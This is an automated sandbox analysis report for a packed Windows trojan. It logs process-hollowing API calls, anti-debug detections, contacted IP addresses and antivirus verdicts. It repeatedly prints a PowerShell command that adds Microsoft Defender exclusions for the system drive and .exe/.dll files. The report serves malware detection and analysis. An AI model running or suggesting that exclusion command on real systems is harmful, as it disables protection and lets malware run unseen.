NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 24, 2023, 9:27 a.m.	process_identifier: 2636 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Looks up the external IP address (1 event)

domain

ip-api.com

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 24, 2023, 9:27 a.m.	show_type: 0 filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe parameters: Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0015ea00', u'virtual_address': u'0x00103000', u'entropy': 6.809322289592606, u'name': u'.zalfot', u'virtual_size': u'0x0015e946'}

entropy

6.80932228959

description

A section with a high entropy has been found

entropy

0.489870764932

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 24, 2023, 9:27 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW July 24, 2023, 9:27 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: ade7c757fbec116da859e8e22d6abbddb6efd37d

Communicates with host for which no DNS query was performed (4 events)

host	185.149.146.118
host	185.159.129.168
host	185.228.234.30
host	77.91.77.144

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000006c		3221225496	0
NtAllocateVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000006c	1	0	0

Manipulates memory of a non-child process indicative of process injection (9 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 516 manipulating memory of non-child process 1184
NtAllocateVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000006c		3221225496	0
NtAllocateVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000006c	1	0	0
NtProtectVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 2 (PAGE_READONLY) base_address: 0x001a0000 process_handle: 0x0000006c	1	0	0
NtProtectVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 925696 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x001a1000 process_handle: 0x0000006c	1	0	0
NtProtectVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 233472 protection: 2 (PAGE_READONLY) base_address: 0x00283000 process_handle: 0x0000006c	1	0	0
NtProtectVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 20480 protection: 4 (PAGE_READWRITE) base_address: 0x002bc000 process_handle: 0x0000006c	1	0	0
NtProtectVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 2 (PAGE_READONLY) base_address: 0x002c1000 process_handle: 0x0000006c	1	0	0
NtProtectVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 20480 protection: 2 (PAGE_READONLY) base_address: 0x002c2000 process_handle: 0x0000006c	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 516 injected into non-child 1184
WriteProcessMemory July 24, 2023, 9:26 a.m.	buffer: base_address: 0xfffde008 process_identifier: 1184 process_handle: 0x0000006c	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 516 called NtSetContextThread to modify thread in remote process 1184
NtSetContextThread July 24, 2023, 9:26 a.m.	registers.eip: 2005598660 registers.esp: 5699852 registers.edi: 0 registers.eax: 2241651 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000002c process_identifier: 1184	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
parent_process	powershell.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 516 resumed a thread in remote process 1184
NtResumeThread July 24, 2023, 9:26 a.m.	thread_handle: 0x0000002c suspend_count: 1 process_identifier: 1184	1	0	0

Executed a process and injected code into it, probably while unpacking (18 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW July 24, 2023, 9:26 a.m.	thread_identifier: 1488 thread_handle: 0x0000002c process_identifier: 1184 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000006c	1	1
NtGetContextThread July 24, 2023, 9:26 a.m.	thread_handle: 0x0000002c	1	0
NtAllocateVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000006c		3221225496
NtAllocateVirtualMemory July 24, 2023, 9:26 a.m.	process_identifier: 1184 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000006c	1	0
WriteProcessMemory July 24, 2023, 9:26 a.m.	buffer: base_address: 0x001a0000 process_identifier: 1184 process_handle: 0x0000006c	1	1
WriteProcessMemory July 24, 2023, 9:26 a.m.	buffer: base_address: 0xfffde008 process_identifier: 1184 process_handle: 0x0000006c	1	1
NtSetContextThread July 24, 2023, 9:26 a.m.	registers.eip: 2005598660 registers.esp: 5699852 registers.edi: 0 registers.eax: 2241651 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000002c process_identifier: 1184	1	0
NtResumeThread July 24, 2023, 9:26 a.m.	thread_handle: 0x0000002c suspend_count: 1 process_identifier: 1184	1	0
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x000002c8 suspend_count: 1 process_identifier: 2636	1	0
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x0000031c suspend_count: 1 process_identifier: 2636	1	0
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x00000468 suspend_count: 1 process_identifier: 2636	1	0
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x0000047c suspend_count: 1 process_identifier: 2636	1	0
CreateProcessInternalW July 24, 2023, 9:27 a.m.	thread_identifier: 2816 thread_handle: 0x000004f8 process_identifier: 2812 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004f0	1	1
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x0000051c suspend_count: 1 process_identifier: 2636	1	0
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x000002cc suspend_count: 1 process_identifier: 2812	1	0
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x00000320 suspend_count: 1 process_identifier: 2812	1	0
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x0000046c suspend_count: 1 process_identifier: 2812	1	0
NtResumeThread July 24, 2023, 9:27 a.m.	thread_handle: 0x000004cc suspend_count: 1 process_identifier: 2812	1	0

File has been identified by 30 AntiVirus engines on VirusTotal as malicious (30 events)

Bkav	W32.AIDetectMalware
MicroWorld-eScan	Gen:Trojan.Heur.ZMW@I1zk4ue
Sangfor	Trojan.Win32.Save.a
CrowdStrike	win/malicious_confidence_60% (D)
Arcabit	Trojan.Heur.EDEB5F
BitDefenderTheta	AI:Packer.C4D41DC11B
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/Kryptik.HUBU
APEX	Malicious
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Gen:Trojan.Heur.ZMW@I1zk4ue
Avast	PWSX-gen [Trj]
Emsisoft	Gen:Trojan.Heur.ZMW@I1zk4ue (B)
VIPRE	Gen:Trojan.Heur.ZMW@I1zk4ue
FireEye	Generic.mg.79982cf6836eebdd
Sophos	Generic ML PUA (PUA)
SentinelOne	Static AI - Suspicious PE
Google	Detected
MAX	malware (ai score=85)
Microsoft	Trojan:Win32/Sabsik.FL.A!ml
ZoneAlarm	UDS:DangerousObject.Multi.Generic
GData	Gen:Trojan.Heur.ZMW@I1zk4ue
Cynet	Malicious (score: 100)
ALYac	Gen:Trojan.Heur.ZMW@I1zk4ue
Rising	Trojan.Generic@AI.100 (RDML:f6+b6oYd1PVYXDfTPOF/aw)
Ikarus	Trojan-Spy.Win32.KeyLogger
MaxSecure	Trojan.Malware.300983.susgen
AVG	PWSX-gen [Trj]
Cybereason	malicious.6836ee

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (3 events)

dead_host	185.159.129.168:80
dead_host	185.149.146.118:80
dead_host	77.91.77.144:80

kgec63hr0ubmn.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All